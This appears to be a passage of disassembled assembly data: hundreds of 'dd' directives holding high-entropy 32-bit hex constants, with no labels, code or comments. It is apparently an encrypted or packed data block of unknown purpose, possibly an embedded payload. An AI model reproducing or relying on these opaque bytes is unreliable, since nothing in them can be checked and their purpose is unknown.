dd 52C6BE92h, 101BF7D1h, 0BD030BF6h, 273C6F59h, 0D4ACBD2h
dd 22E036C0h, 0DA661F28h, 578ADF4Eh, 920DE84Fh, 0F82F087h
dd 0B03B5D13h, 35491DD9h, 92C4DB5Ch, 0BE405257h, 5C244089h
dd 9F023675h, 0F78AA3BFh, 9DE2E422h, 0E02909h, 0CD43DCDFh
dd 0DE529D35h, 2D97CB05h
dd 5AE1B6Fh, 0E07FCEF7h, 390AF351h, 0E510D775h, 69DC4600h
dd 6A7FE934h, 88E8C987h, 581732A7h, 0A6C0A9C4h, 25D5AE4h
dd 0FBB85013h, 0C363677Bh, 617EFBE7h, 680BEE14h, 0DE27170Ch
dd 8A6CC2B0h, 2D0106D9h, 5A2F2158h, 0A305B370h, 2E91A807h
dd 803F5F69h, 226C5DEEh, 61F78102h, 0EA1D530Fh, 1F4D55CBh
dd 1D53C508h, 1B328B4Bh, 696CB022h, 0C895859h, 95F11610h
dd 0C152EFFCh, 692D7C6Eh, 7BFFF95Eh, 29782F33h, 55F8BAD3h
dd 51F5A1E2h, 34FFC9A0h, 855C4D81h, 3E96FE40h, 4927B57Ch
dd 2D150357h, 5C30422h, 0C82C475Ah, 0DD4A1EAAh, 0E1D29AE8h
dd 459B0071h, 474A046Ah, 0FBDE25EBh, 5F5DBBE4h, 0E322BB52h
dd 4BC2AFD0h, 0ABD853h, 0F7C67BFh, 0DCE78163h, 0F22F4937h
dd 40792C49h, 90924B20h, 463F3412h, 9EA4748h, 4543EEh
dd 5436E21Bh, 18256385h, 65FA4B17h, 0E90B6E7Eh, 5690E1DDh
dd 0C519A98h, 1F09CCBDh, 7E296295h, 0E9D3A763h, 0F862E9C1h
dd 5FA66Ah, 3872DD05h, 51D00173h, 2D2A072Dh, 5E067456h
dd 0E0C18EA8h, 0F6B78B7h, 69CB7527h, 0AA6104C4h, 0DEE834D9h
dd 96A0BD81h, 305907B3h, 252DE0A0h, 0E974520Bh, 0D070E314h
dd 4ED61699h, 81138019h, 5E1DA0C9h, 60AE44D5h, 3EB9B504h
dd 7222D0FAh, 78614539h, 2110AA1Ch, 0C896DFE6h, 66F02013h
dd 0FE9134BBh, 7FC6BC62h, 935F7C44h, 4C9DC344h, 0BD941012h
dd 4BC49A10h, 465EC007h, 7DA898A4h, 0BC72AB5Ah, 0AF5C7555h
dd 0B03F9350h, 42BB0B5h, 0A34B2CCBh, 0F7A9BA49h, 0E0F1A705h
dd 0D281EB12h, 9D3A29BFh, 87BD7BE7h, 2DCBA14Ah, 6FA780EAh
dd 4EE94068h, 0E8901647h, 720D0096h, 2D4F5745h, 141F0FCAh
dd 98CDE92Ch, 0D20E3B24h, 6D1D678Fh, 9545DC2h, 7E480AF5h
dd 4149BD9Eh, 0CD0A0039h, 0EC33A9Ah, 771AE932h, 29C9AA12h
dd 5471D230h, 6BFAA32Ch, 1E5D404Bh, 0E90CC271h, 51D5F661h
dd 0E902E016h, 53BA56EEh, 0F4032097h, 0FC72613Eh, 0C3454DB6h
dd 0F1FC2C13h, 0D975D2A8h, 4FF216Dh, 0EA1E9C68h, 402EB831h
dd 3BADABBFh, 0B8598B46h, 61AB5A6Fh, 5EA6193h, 0F06AEDB1h
dd 5A4107DFh, 1A6CDF40h, 7CCB045h, 0CE6165EAh, 7DC2C13Fh
dd 3467C9FAh, 2627E923h, 2019DA85h, 34C55837h, 0C7BAC518h
dd 9C7C485h, 226165Ch, 0A92CD1BBh, 0BCDC4B2Bh, 69637D02h
dd 61895D18h, 0BBC97957h, 0EA23FE5Fh, 87ACF157h, 0D1091282h
dd 0BA80415Ah, 4D48F834h, 390DF497h, 916B5B81h, 7C9FE978h
dd 7C88259Bh, 9238726Ch, 92BF8240h, 4880FD4Ch, 21706452h
dd 0F2A8DA4Ah, 3A5E4D04h, 150BC54h, 74607BF9h, 50C8F581h
dd 0A86F5A4Bh, 2C904A2Ah, 4EACFB2Eh, 4B08E863h, 0CE0500EEh
dd 0E9169E67h, 8B51F737h, 964278E0h, 7E2CB845h, 4B052508h
dd 79A6A8D3h, 0CE3AC22Dh, 0BF6297A8h, 9B70947Eh, 0F8058059h
dd 67701D1Eh, 0BABC893h, 38D75C5Ah, 486F683Ah, 1ED6372Dh
dd 2EDE99A6h, 61CC2101h, 0E7984163h, 80BA0010h, 750D0721h
dd 0D242DAF7h, 9C756174h, 0EB891766h, 0CEBFC05Dh, 34130A38h
dd 0CDFEDA31h, 53ED7F0Bh, 22E3EFD2h, 8A9D9D96h, 0EF5D6F98h
dd 0BF7FD558h, 68E2257Ch, 56665D06h, 4D1791F0h, 6E641F60h
dd 0AA3A4BBh, 41257A02h, 775406E9h, 8FF27498h, 976A7FEh
dd 7DF6ED06h, 10C06DAh, 6A675F83h, 2F64DBE9h, 45C27AD4h
dd 54D57E04h, 0B0E924FDh, 0E102525Fh, 0F0080Fh, 6D2CD0F6h
dd 77EB8002h, 444F27E9h, 7C280BC9h, 98FD3B19h, 2FE94836h
dd 599A25A8h, 0A38AF002h, 6A7F71FDh, 2CE95829h, 4A44D897h
dd 0B454FD58h, 4A95BDC8h, 35DF4C2h, 51F68102h, 0DD7F5712h
dd 0D04CC001h, 0A0E76B61h, 0F3148714h, 4B5BDFD0h, 0A87FEEA1h
dd 0AF12A842h, 51C7A4BAh, 2FA7B13Bh, 5D1475C8h, 998AA791h
dd 0F769F90Bh, 3AD4C182h, 8FDB800h, 0BD3C026Eh, 2A345565h
dd 3F6505FFh, 197DE1AAh, 5AF86AD7h, 0AA20FF97h, 0B58864E9h
dd 0AED50029h, 0B0C5C5AFh, 851D7D84h, 73241782h, 0A44AD52Fh
dd 40C080Dh, 0A7B81D14h, 0A52CE1CEh, 0D880ECC1h, 22281A25h
dd 77E235h, 563DE61h, 0F3410A62h, 5334039Dh, 0F58F021Fh
dd 25F74C2Ah, 0FD455569h, 0BB1134C0h, 0D17FA404h, 2DAC8950h
dd 5E2E9B3h, 44F52DEh, 0CCFA2290h, 159A4585h, 0DD295C25h
dd 191DD918h, 48C399BFh, 0AA560BC6h, 0B7C6CF6Fh, 0D527911Ch
dd 0E927693Eh, 2C97FAFDh, 0C93447BFh, 0A682A559h, 5F7D4F65h
dd 8201ED4h, 0CD303A91h, 95505868h, 8269AC66h, 0B51DD73h
dd 39B0B7C4h, 9A8B804h, 0BDB353D8h, 3323C607h, 0C20BCF3h
dd 0DDDA4863h, 0ADF8A42Fh, 96A5CB5h, 0C95E5856h, 1184A78h
dd 8ABE79E7h, 2B0E78E5h, 0E90BF3EDh, 0F7E8DD9Ch, 326913Eh
dd 901600EDh, 28208CABh, 77535840h, 40B92D52h, 172425Eh
dd 0A698B6B0h, 0C3EB0C80h, 292D7306h, 0AD27E9ECh, 2056946Ch
dd 58766A7Eh, 0D0854B4Ah, 49DFE0EDh, 0F479326Ch, 0FD4B9789h
dd 0F7A2369Ch, 1FD1F642h, 3B33562h, 8088B450h, 285CE1F4h
dd 0BD431038h, 16F16424h, 6398FB02h, 0B9D85A68h, 4A738403h
dd 1D2515E3h, 98C029DCh, 7E0AD56Ch, 0FCF2B4Bh, 3A7101CBh
dd 2040438Fh, 0EC7605BDh, 0E9A05C0Bh, 2F45D404h, 5CBC5F4h
dd 0CCAEBE42h, 68496B43h, 528701E7h, 0EE011298h, 0AA25B669h
dd 23F7D809h, 0D95E5FBFh, 0D93913A4h, 0D8E45725h, 19590932h
dd 0B4B604Bh, 2EFC0918h, 0DF16D889h, 60E3FB0h, 6005370Dh
dd 5CDC3533h, 1B0E6F87h, 0F4DE0B16h, 5BA30540h, 0C48BB30h
dd 3EB35E03h, 0D8480113h, 0A506BF01h, 0F8562D6Eh, 353A4FC5h
dd 25899E8Bh, 0B5A2DF81h, 0E57B2927h, 0EB2604DDh, 0CC4F28F3h
dd 0B840AE04h, 0FCCE7789h, 2C5EBD4Fh, 37693159h, 8419E916h
dd 0C4E081AAh, 0E041806Eh, 214BF57h, 8153002Eh, 0AF3AE5CFh
dd 0CD2AE929h, 501E9833h, 0BD668CB0h, 0B02FA25h, 1F803C74h
dd 0BA1BC090h, 9010E69Dh, 0BF695BBBh, 49BF2267h, 0B3B222DCh
dd 0BC5141EBh, 17A7D121h, 0E91757BEh, 0BD448037h, 14495E3Fh
dd 0BE6285D1h, 521F5C10h, 50025E5Eh, 0DF76D73Eh, 0BBE80059h
dd 5215EA94h, 5F21CBB4h, 9FB388C4h, 1D4D8D13h, 1704958h
dd 12B969Ah, 0F666855h, 3BBE718Ch, 0CCBA63C4h, 2B2CE9A7h
dd 83404027h, 0B03DEF2Eh, 416E5F27h, 0B6577CE7h, 7117068h
dd 0F502D12h, 35CB80EFh, 16097A4Fh, 32237DE9h, 4AF446C8h
dd 0A112EEEEh, 527905BBh, 4E89E278h, 3E4C8DC6h, 362C5B62h
dd 20F3207Fh, 5CBF6CC0h, 0F9340A7Eh, 66020A1Ch, 1DFB16E8h
dd 0F6589AE0h, 34760E42h, 0C0460350h, 43CCEACDh, 2ECB39E8h
dd 0C8F5C245h, 0D89B1523h, 0F8F00EC1h, 8B4FDC95h, 457F5DEAh
dd 0D07A2FC8h, 0BDE2F09Fh, 8CBFA9B0h, 58605D81h, 0FFD39773h
dd 5641C2A7h, 8422E9A6h, 18D55E12h, 804B5A4Ch, 5C7F14BBh
dd 1568521Ah, 2C43400Bh, 1969188h, 72340D2Eh, 3BFABFC1h
dd 0BBBDDAD8h, 1C45EAF5h, 85176CB3h, 68F3E5D0h, 41B62D2Eh
dd 0EB5145C1h, 8002E50Ch, 4A6BDC3Fh, 0A84D07Ah, 214F5815h
dd 6605DFFDh, 0B0C397C1h, 0C709893Ch, 226879E9h, 0DE6B30AAh
dd 87DA6BFBh, 951BB13Bh, 70E09159h, 0AFEE10FBh, 22460639h
dd 1208E6C1h, 0FBB9B609h, 4D8F776Fh, 500BD288h, 43675D54h
dd 1875E904h, 0F253568Ch, 4E079DB2h, 0BFF69E5Ah, 0EC5CF10Ah
dd 0FEBAECADh, 65C66566h
dd 67D5BBB8h, 688C80FFh, 669547A2h, 20AF029Ch, 71E9605Dh
dd 0E0F4AFCAh, 66E8ED8Bh, 394AFEh, 7B742DF5h, 0E3B53783h
dd 7342E951h, 3024DD7Ah, 16C06B07h, 86300BBFh, 0E781033Bh
dd 0E75145Eh, 1098F7B3h, 8FB50A04h, 7F48A98Bh, 6EF82094h
dd 96ABF4B7h, 8FAA5748h, 75B64F83h, 16572127h, 773DA25Eh
dd 8A892454h, 3FFA6555h, 0F53823A5h, 74AAC662h, 0BC8923D6h
dd 0FECACBh, 5ECEF2F9h, 7407621h, 853055E2h, 41E1CF57h
dd 9F4EB07Eh, 5693E92Bh, 0F23811ADh, 31683305h, 6160EFFEh
dd 5E7B37EEh, 3AFAA838h, 37785D7h, 46D9CC68h, 2934B940h
dd 5A753031h, 0FEC406Eh, 56AC944Bh, 0A64DA71Ah, 28365E55h
dd 77CD097Fh, 0B8807B72h, 165241A6h, 22ED495h, 0A3633E2Bh
dd 8912F35Eh, 0B7406EBDh, 0D24E042Ah, 94D9E936h, 2F52F567h
dd 0BC477EE5h, 5AD04Eh, 2465F15Fh, 55B8F22Ah, 0CD98FD95h
dd 6AB567DEh, 1FC62C3h, 181D5188h, 0C25E77CEh, 621BB286h
dd 0C4D14C30h, 0EF874E71h, 7F549162h, 9305DD1Ch, 454E4C73h
dd 1033182h, 803227C7h, 66AFF50Ch, 31E90697h, 0D5B751BEh
dd 1B288345h, 0F1D49A79h, 80380F83h, 7A6591D2h, 71AE5787h
dd 2A0C6A68h, 411F9ADCh, 0A4922E82h, 2557741Eh, 0A14FFBF3h
dd 12307BEFh, 95E09688h, 0F5D5B09h, 43D624E5h, 95FB6BD4h
dd 6E8B804Bh, 4C181B6Ah, 0FDF8CB01h, 7A222F08h, 9D6D68E8h
dd 0E0C9C62Fh, 9F525954h, 728B3359h, 0CBD3D11Dh, 9111CE5Fh
dd 0F2E905CBh, 0EB1CB497h, 0C761360Bh, 0B244DD0Bh, 5D25E913h
dd 89DF22EFh, 0C8FFB7Dh, 0F5694705h, 0C61CC706h, 9D245568h
dd 9A89ED7h, 58E9E6D1h, 501637D4h, 0EA5E41E6h, 2E290539h
dd 0C1899D2Dh, 0D8F56357h, 0E7DBEF80h, 58FE0CD8h, 7E37F0CFh
dd 1EC77634h, 0FD263C7Ah, 9E40AED1h, 1615B57h, 0A2209905h
dd 3C94E944h, 0C3800BD4h, 0BA6F0577h, 13435688h, 0FE63E006h
dd 34E5A620h, 0EE7C4AC4h, 6080FC01h, 0C3F87075h, 9AEE9A84h
dd 7CC9F6Dh, 84FC345Ch, 44B229Bh, 149666D9h, 9DC302B4h
dd 9FD94A9h, 5EDD0022h, 90E90116h, 0B73CF8D4h, 0B480E759h
dd 58E30854h, 0BBDB4BF6h, 18DEB597h, 97C8308Ah, 0E9279055h
dd 9A1B49A6h, 5DCDB32h, 0C56AEF00h, 47C1DEC3h, 504A9DC9h
dd 33846856h, 7C9A97h, 9A73D3A7h, 61BF056Ah, 0EFA7FE02h
dd 0C4FA9484h, 10CAF8C5h, 0C8609194h, 502E5933h, 0FE42C6CBh
dd 0BC8B65D7h, 5A56095Fh, 5C2D65Eh, 0E31CEB68h, 53501078h
dd 0DBF2Eh, 0CF81446Eh, 0F3771954h, 0DC76CB5h, 0D332FF17h
dd 25053F93h, 98891962h, 0D23ED321h, 1A7C5985h, 1F121069h
dd 47A6943Ch, 0E020945Bh, 0FE0ABBC4h, 0A009BE06h, 0ABCB8100h
dd 90587A3Ch, 6A601309h, 31C1A0EFh, 3EAC262Eh, 7D84400Dh
dd 40542A60h, 9BE75387h, 0E24A5BB0h, 288A5EE6h, 8ACA67E8h
dd 0BCD55D1h, 0E6205AD9h, 1F193499h, 35E0505h, 0AE00652Eh
dd 2BDF257Ah, 138CB821h, 34AAFFE9h, 66F1EED9h, 0B2D2EC2Fh
dd 0ADE2E55Ah, 40E6927Fh, 4018AEFh, 0B4E91EDAh, 990EBCFCh
dd 1534A738h, 0C3B98FAh, 2E75977h, 0D89473F4h, 7D39ABADh
dd 464EAD82h, 5F158EC0h, 623C7430h, 495312B9h, 0E67F1F09h
dd 0E31F1306h, 1AD0717h, 4C78AE1Ch, 0A92F6EBFh, 617CA50h
dd 0B1E5F08h, 83C0B58h, 21E5BEDEh, 7EDE5AC1h, 0AFF4652Eh
dd 215116F2h, 0F515FD2Ah, 0AEC494A2h, 68178C6Ah, 0C5D1085Ah
dd 0A2079A95h, 5CD45DF7h, 48A79069h, 38CEB7F9h, 6B4A93A1h
dd 0F190F113h, 5E2809B5h, 58CCC3EBh, 0B951009Ch, 0FEA32B1h
dd 41D9F70Fh, 153EC5h, 0FA300247h, 0EA3F805Bh, 7BF57593h
dd 5203B0A6h, 0D2F6C288h, 8277D0A2h, 7A6750Fh, 57636251h
dd 8C0380DAh, 29022ED4h, 302815D1h, 38785E68h, 0EB4E1FEAh
dd 0F73EDE29h, 13BBD561h, 4BC5342h, 78A1729Bh, 0D6C9D7D4h
dd 79CA285Ah, 0B92E4241h, 0EC872AA7h, 0F5DD5153h, 250D8BBFh
dd 9F6951B8h, 0FBD912C3h, 8473EF8Ah, 63F0585Fh, 11506BB3h
dd 0C6F569A9h, 5D952A5Ch, 0FFB95E79h, 7AAE3B49h, 98F20B4Bh
dd 0E4DC127Fh, 0CDB14302h, 8F5AE13Dh, 5806AD4Ah, 457D4A68h
dd 75D7B92Ch, 0E00BF640h, 2D487C2Fh, 0A0F25EB5h, 1928A120h
dd 39062D68h, 0E6D32FC4h, 9EBE9056h, 0DF70D922h, 54D9D85Ch
dd 411599BFh, 0C58100D6h, 442F883Ch, 0C13DEE8h, 0C61B8F77h
dd 1F12B77Eh, 44FE5A61h, 0BF3E6069h, 7A09DDDh, 0A37BF5h
dd 0CA810BE4h, 53223E30h, 0DA96815h, 3488939Ah, 6DF060CCh
dd 123888E3h, 0D876648h, 76AA3D79h, 0DF00F06Ah, 0D0EA5B4Bh
dd 51B466D6h, 0F3E9921Fh, 0B9E55B33h, 0BC7E57E3h, 0DC5CB218h
dd 0AE02E5D8h, 9C9364D1h, 0E9053696h, 5E826BA3h, 6056B2AEh
dd 2533657Dh, 2A251877h, 9193B66Eh, 2A473E01h, 5B9FA67Eh
dd 47F71F7Dh, 91FA168h, 685D5157h, 0C2534457h, 0FBFD4EC4h
dd 52069673h, 19E0EA11h, 8C164E96h, 6404D94h, 2CEF7068h
dd 1182408Ch, 0C6801760h, 49092505h, 105CA7EFh, 66279EFAh
dd 81EA07F2h, 0E1F26C4Ah, 22BD4119h, 0C005325Bh, 462334B9h
dd 0AB094876h, 31E3192Fh, 0D024CCE3h, 8911982Fh, 0E43EE03h
dd 0CAEA2676h, 174E6EAh, 18B36841h, 4D655C2h, 41D701E2h
dd 0A3325302h, 95324E04h, 9788AE06h, 99270C04h, 3088894Ah
dd 0E2F43F41h, 0E36312D7h, 0A9B60077h, 0E917252Eh, 7407994Fh
dd 0B4AAC168h, 0B975888h, 0EE54DF01h, 56BB0B49h, 3CD0591Ch
dd 895C2411h, 0AD36FD02h, 0B5D75A47h, 7D95FA52h, 42F541A5h
dd 40478F8Eh, 803B4841h, 3181D16Fh, 4A6B0616h, 0AB001274h
dd 0D29313F3h, 66F70D3Ch, 5F0AA20Dh, 67D56A09h, 68684CB9h
dd 0E9AC5654h, 150C94Dh, 0E2592D5Dh, 0B12FCE69h, 0BD411C58h
dd 0EE569900h, 7E5C123h, 50D548F7h, 64E91675h, 2831AECCh
dd 903F6348h, 8137E147h, 0DA4FF7F0h, 6906A1C6h, 27001003h
dd 6C1558A1h, 0A70B53B1h, 6C067ECDh, 5D188744h, 0EA350DB5h
dd 5F7A7B8Ch, 660CAC37h, 952C0606h, 3990040h, 0BD2C921Dh
dd 93FAAA9Dh, 4CDFD31h, 7F2CEAE1h, 53FA01C1h, 84DF2CBBh
dd 1797B1F3h, 814B10C4h, 2F7B62Bh, 0E05E082Dh, 839F31E7h
dd 0B6F581B8h, 4ED94E3Fh, 87800EE2h, 0E9D2F7D5h, 54A3DD2Fh
dd 0FD6DC52Eh, 0B49493B4h, 2CF786FBh, 92045A4Bh, 0D281621Eh
dd 0A86F7AD4h, 5A2F9469h, 74EC45C5h, 244A440Bh, 18A103A4h
dd 97AF2F36h, 0DEAD4B59h, 97E9F028h, 1174175Ah, 13B2B101h
dd 0CFF1438Dh, 16EB19F0h, 0A102E93Ah, 0ED8A7B54h, 18962F18h
dd 801227B4h, 0A0AB11F4h, 302C53C8h, 1CB3AE2h, 0DAF67B86h
dd 53FC2D4h, 0E935B652h, 0BE3094F2h, 4770F5C1h, 1CF44740h
dd 0B95E02BEh, 6C8C4830h, 11B033F0h, 0A1CECB4Ah, 0B816A352h
dd 0A38CFF75h, 93C2A68h, 0FEFD55F9h, 8004846Eh, 342B0D44h
dd 0C90681E2h, 416A0428h, 757B0684h, 7A2142D2h, 0B60A5090h
dd 0C7178A52h, 25D81602h, 9FDAFDADh, 3E5C560Ch, 122B0C7Fh
dd 0A8166AD1h, 2DE410C4h, 71DE6804h, 0CBB0818Dh, 0C45B482Eh
dd 76B749BAh, 497AD06Bh, 0BAC73B5h, 6B7DFA89h, 5A4CC166h
dd 0D5208975h, 125E02A8h, 7746830h, 440CFC4Ch, 26CC91C5h
dd 1F3E02B8h, 28C6E96Ch, 0F1D1BA55h, 0EA4617A6h, 0A42C8C12h
dd 0D0BA03B0h, 9B5FE9E0h, 0EBBB2400h, 81198405h, 12F405CBh
dd 0C24B4880h, 7654B31Eh
dd 530FE904h, 0E6F2B9A4h, 0D5F9EB5Eh, 0AD687040h, 3893B356h
dd 19D7962Dh, 93B410Ah, 8CF659F6h, 0DA37EC52h, 5A23E53h
dd 44555384h, 93BE7CCh, 764267C3h, 516747DEh, 9435BFC2h
dd 7861A1D0h, 648EC3A7h, 11F7368h, 0B010DFACh, 0FA48240h
dd 5511DF4Fh, 1962E5A6h, 12EFC24Ah, 398201C1h, 3B618F65h
dd 0C2C444F2h, 0F3BB5202h, 80E42A4Ah, 0E0955C95h, 519D1EA5h
dd 2D3E0145h, 5B120040h, 81985C29h, 8E976EEBh, 0E63409FEh
dd 15873809h, 943CFA4Bh, 0B6515C52h, 90029209h, 5DE96380h
dd 11D396BAh, 0BFE6C4AEh, 0E85BDA8Bh, 0F1F7F041h, 0B474AE9h
dd 4E758FB6h, 2F6815B8h, 0B44F5439h, 2E021E48h, 83451A22h
dd 0DCD65DC5h, 0DDD1E587h, 0E1EB0132h, 0BB00B101h, 86024E3Fh
dd 2EF3BE3Ch, 27E5F68Ah, 0DF8B89DFh, 4A684102h, 4D8FC520h
dd 0CDD8FFF2h, 0F04B189Fh, 90651828h, 0FFC20625h, 68725161h
dd 18185871h, 5AA264Fh, 0C5311343h, 54EEC07Ch, 7020A6Ch
dd 0CFE065BFh, 59E901F9h, 453C9A95h, 0CB3CD3BEh, 13978804h
dd 15C2AA47h, 1367071h, 4E6F6E24h, 0EDD4DDF2h, 548B2473h
dd 4172D3BDh, 2EBDA4E9h, 0A504AAA3h, 0BA6C0E2Fh, 0B1B62863h
dd 0ABA75CA7h, 0F2095D4Ch, 7D7338E9h, 5CDB7B98h, 981D7E3Eh
dd 0C1D3743Fh, 6E0E1E30h, 5FB9CB2Fh, 56C75714h, 6152A62h
dd 29F6D101h, 0F42BD2E8h, 0C0B5FB42h, 81094D17h, 0CFF93A31h
dd 1BB3284h, 374F86BAh, 13B670E2h, 5A6CCC6Ah, 20C20605h
dd 0D0D80B09h, 2DA22EF9h, 0AA07E90Bh, 3E5645D5h, 0E9A20E99h
dd 603770C2h, 63B8224Fh, 52D92113h, 39E7BBB0h, 0C5480093h
dd 0F7213C17h, 0D4B3D15Ah, 9F261A4Dh, 57508F56h, 71584BE3h
dd 9401C297h, 40B63F83h, 0C4F209Bh, 0D8DD1622h, 196816EFh
dd 5F90CA75h, 5DE9B288h, 0BA0292EAh, 0BEB44AA0h, 1E26BB80h
dd 0CC125FCh, 105B28ABh, 1A8F946Fh, 140B0C08h, 89719576h
dd 0EC4FD46Ch, 966A3BEh, 35E1E993h, 0E594C8DAh, 0E88FFC02h
dd 0C014DE31h, 2D585E50h, 745C0D01h, 5F00170h, 65BA0744h
dd 0B025B850h, 0BF672368h, 0DE9E64ECh, 55827DCBh, 29052205h
dd 0D74C43CEh, 0EA797BC5h, 0FA2715A2h, 477D9A8Bh, 18E90555h
dd 8F49EF20h, 615248DDh, 0E85EB735h, 0F285F25Bh, 71D75C74h
dd 0BC233784h, 6DEDC04Bh, 0B51C6C6Eh, 0F46AF5D4h, 68065903h
dd 0B4CFD30Fh, 0A2928DE8h, 4868C20Bh, 68E77422h, 0DE310B1Fh
dd 0E9F0BDE0h, 7DC59725h, 0A1F685ECh, 0EBFF7467h, 3E5A68A1h
dd 1759942Ah, 92E1A208h, 55F08E00h, 2353136h, 64274D0Bh
dd 0A1C4DAE9h, 17BEC504h, 12AB5A75h, 0D8F101D5h, 12C04AF1h
dd 0B8A0A188h, 37DC63DAh, 9DF2BD21h, 0D115730Bh, 158C7F06h
dd 3D28CF12h, 8027C7BEh, 97E9641Ah, 29D99D89h, 0CE500AE0h
dd 0B4C7F026h, 74E9C1BDh, 0EEDDEBD8h, 0C948378Ah, 80025C20h
dd 0B753DBC5h, 9D7C5758h, 2878EF00h, 0BAB0E9FAh, 3E3B483h
dd 9A8EF5EBh, 0A470ECE1h, 3292F087h, 405BFEC2h, 0BE836721h
dd 478462E9h, 3F8D3F71h, 0B7787CA0h, 0A2DBF717h, 4256338Ch
dd 37B39DAFh, 10E4AC18h, 7DF07FBEh, 442F347Ah, 741E7F47h
dd 4A5BE85Dh, 7F20DEB8h, 1C658480h, 0A743C53Dh, 7F664235h
dd 9BC62159h, 801CA313h, 0F603AABBh, 0DB05B725h, 813384D1h
dd 204169D4h, 0E330C1E0h, 5A3F2E06h, 0E9C80CD0h, 0F3457B92h
dd 0C91FE007h, 0A66F8720h, 70D3E175h, 32042D1Bh, 1216050h
dd 4F706BC7h, 9AE95709h, 0E0B21B19h, 9D5302C3h, 1451B87Ch
dd 0E2DA176Fh, 4AC1C00Ah, 9769DE59h, 8B552350h, 33DE02D9h
dd 0A98E57Dh, 1F0BAAAFh, 40DB8023h, 0A0198535h, 0C1291704h
dd 0BF9155E9h, 0FEC164B6h, 6B35C8E5h, 2578D52Ch, 474A1A4Eh
dd 2521890Eh, 0C64359C8h, 14539C80h, 0E0BDA55Ah, 163A2D34h
dd 0AC048E40h, 7CA89354h, 0EF90EF4Dh, 40D96C24h, 2C0A318Fh
dd 0CFE2485Fh, 43D23500h, 0A305101Ch, 270A6E7Dh, 69535BE9h
dd 8B04460Fh, 34CD401h, 8364E406h, 915BFEA8h, 78407027h
dd 5D8F8265h, 0C577E562h, 4968055Bh, 9E62FA28h, 12DE8A7h
dd 0CD2D09F8h, 7FA78A5Bh, 24A41648h, 72F14A5Eh, 908BA22Eh
dd 766910E2h, 531EBF02h, 0C05D38DAh, 3B2E836Bh, 0E700157Ah
dd 70A46ACBh, 97BC23E9h, 0F0DFEA9Dh, 48240EF0h, 0F6C807FEh
dd 0D27F2CD8h, 0B7434E7h, 205C04EBh, 661CA3BCh, 3AFCAE95h
dd 688F50BBh, 5F7264CDh, 8F5ECE0h, 4513DF26h, 42B97C02h
dd 9F7A606Ah, 0DA22B772h, 8AD988DDh, 42CCFC4Bh, 999A57D7h
dd 0CB29DE5Dh, 50426E74h, 0AAEB2432h, 5E5D8193h, 6B39AD0Eh
dd 45ABD50Ch, 0AE096576h, 0E6D4A090h, 7B9B28F7h, 0D47C7175h
dd 805E5916h, 2FB6EDCh, 186D8B97h, 0CC765FFFh, 0DD4C9D28h
dd 3BF3315Eh, 9267424Dh, 6CD80B08h, 0A85AA397h, 77C516E2h
dd 73CBFF1Ch, 0D949E90Ch, 0F20BC59Fh, 7E293C2Bh, 2C5405B7h
dd 0E8F68215h, 0F6007BD2h, 816AA00Ah, 2D1873CAh, 5F20113Ah
dd 44EFCE5Bh, 0E66ED295h, 509433E9h, 0BB058069h, 145B68ADh
dd 7F26A298h, 9E485054h, 57710219h, 1EBD6804h, 6320F5ECh
dd 104C9D86h, 68C80F05h, 6AB361D8h, 0EE6F4935h, 0A82FB29Dh
dd 10C6480Ah, 0BD01568Fh, 6900F8Dh, 56AE3E31h, 0A8B30066h
dd 81334239h, 36AEE50Ah, 0BB08C9ACh, 93531DF3h, 8BA4AFD8h
dd 76702061h, 2877A0A2h, 0C300BF2h, 49781F0Fh, 0B4957736h
dd 0EF8ABA4Bh, 0C4174ED5h, 0E161AB4Fh, 8A7E588Bh, 7D539ADAh
dd 12A1FCC2h, 1796585h, 363E4568h, 640F6627h, 0C5587CA4h
dd 0D8601D77h, 0F5B9577Bh, 9DE21A00h, 0E098C250h, 9510C1Fh
dd 6FF1CD01h, 99601CEAh, 0BCC4BFFBh, 5A6BE396h, 0A439F48Dh
dd 36C03A30h, 4CC3E85Ah, 0CF0E1635h, 0F2D3CAEDh, 57518B5Fh
dd 0DE011383h, 8C865882h, 0FADE2172h, 0D11E9009h, 0D3B0BC4Fh
dd 42F2355Bh, 25057201h, 19D130DAh, 3F1AFAE8h, 51BC4D95h
dd 2D2E7B00h, 0EAC1FEB1h, 82E9CEC4h, 94EACF94h, 60E1EEAFh
dd 134FAD20h, 0BD74F642h, 0AFB873BAh, 7C18C6EEh, 0FECE8C7Eh
dd 1329392Fh, 325FCB2Dh, 65596A6Ah, 0CB8703A8h, 84ED1F7h
dd 12973C52h, 2D4C2828h, 25659103h, 0F7AF0B13h, 90680BF8h
dd 8858710Fh, 0E90B3576h, 9D9458B5h, 4371D47Ch, 5E7FA12Dh
dd 0C350A90Ah, 388A48E9h, 5F4C5920h, 4F776E10h, 0F41D09AFh
dd 919B1350h, 0E0E11703h, 6E01F984h, 0EECD5A64h, 52A7C0C6h
dd 0F8B08BB6h, 5AF03016h, 8AEBEA17h, 0BCE90996h, 199ADD65h
dd 75700955h, 78B6495Bh, 75FB2FC7h, 903F42F3h, 0AB4046F5h
dd 0F6889FD7h, 3C74AD9Dh, 0D2F0F57Ah, 582F0735h, 10199FBAh
dd 5B2E5F0Ah, 0EAA91254h, 79BDB320h, 1FF5047Eh, 0E801C583h
dd 0A068CE38h, 586FA603h, 48E40B2Dh, 0E55701Dh, 2735C7BCh
dd 0AF0B5FC3h, 14D5AEE1h, 0E51F130h, 2910C368h, 85A10D3h
dd 4B1EB85Eh, 0B5A1A6F8h, 0D29C6277h, 5A11B2BAh, 52E78CD1h
dd 9D3F13E0h, 727CBE27h, 0DFC13E79h, 0EA049A31h, 6A0B6108h
dd 2901E535h, 0DF205266h, 0E9FAA817h, 1632492Dh, 7D4AC5Eh
dd 63602521h, 7C3028D2h, 67754994h, 5EF30963h, 0C15B1D4Ch
dd 0E23F4AB1h, 110696BDh, 982B5E41h, 276127F4h, 1E4A4CD1h
dd 2312EF16h, 8D0C6C05h, 9BAC1CCh, 1BC22C0Bh, 1CDC7180h
dd 549D3C32h, 6C5AE66Bh, 54FB9D5Ah, 0B40F09FCh, 75A4A4B0h
dd 32469154h, 22302B5Fh
dd 4A2042D6h, 8E1FA143h, 12E90506h, 332056C7h, 136ABE56h
dd 0EA782A3Fh, 0BC3A72A1h, 0F1E9EDA3h, 3FB82144h, 0B65FB5D1h
dd 729E1752h, 0ACC48EA8h, 0F9261866h, 3B910043h, 7FC78147h
dd 7895A24Ch, 0FD51B5ACh, 4496DE09h, 4E7206EFh, 0B06357Fh
dd 0CA0C599Dh, 277E2DD8h, 847A2C71h, 8009A905h, 29A235E7h
dd 65EA4DE9h, 0C3315E09h, 59581D56h, 7CDA0962h, 0AB56B6E9h
